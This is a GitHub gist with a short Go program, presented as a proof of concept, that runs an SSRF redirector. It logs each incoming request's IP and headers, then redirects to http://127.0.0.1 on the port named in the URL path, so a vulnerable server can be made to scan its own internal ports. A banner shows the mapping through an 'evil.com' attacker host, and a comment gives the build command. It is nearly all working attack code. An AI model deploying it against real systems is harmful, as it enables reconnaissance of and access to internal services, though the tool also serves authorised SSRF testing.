Skip to content

Instantly share code, notes, and snippets.

@xmpf
Last active June 9, 2021 15:46
Show Gist options
  • Save xmpf/5daad6d704b1a0f54544844c6830fdf3 to your computer and use it in GitHub Desktop.
Save xmpf/5daad6d704b1a0f54544844c6830fdf3 to your computer and use it in GitHub Desktop.
PoC Web Server for SSRF Port Scanning written in Go
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
// before redirecting print out data
fmt.Printf("IP: %s\n", r.RemoteAddr)
fmt.Printf("%s %s %s\n", r.Method, r.URL, r.Proto)
for k, v := range r.Header {
fmt.Printf("%s: %s\n", k, strings.Join(v, ""))
}
fmt.Println("")
// base url
url := "http://127.0.0.1"
uri := r.RequestURI
if len(uri) > 1 {
url += ":"
url += uri[1:]
}
http.Redirect(w, r, url, 302)
}
func main() {
const (
bindIP = "0.0.0.0"
bindPort = "8000"
)
options := fmt.Sprintf("%s:%s", bindIP, bindPort)
msg := "=== SSRF PoC Redirector ===\n"
msg += "[+] IP: " + bindIP + "\n"
msg += "[+] Port: " + bindPort + "\n"
msg += "http://evil.com/1234 => http://127.0.0.1:1234\n"
fmt.Println(msg)
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(options, nil))
}
@xmpf
Copy link
Author

xmpf commented Jun 9, 2021

Compile as static binary: CGO_ENABLED=0 go build -a -installsuffix cgo -ldflags '-s' websrv.go

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment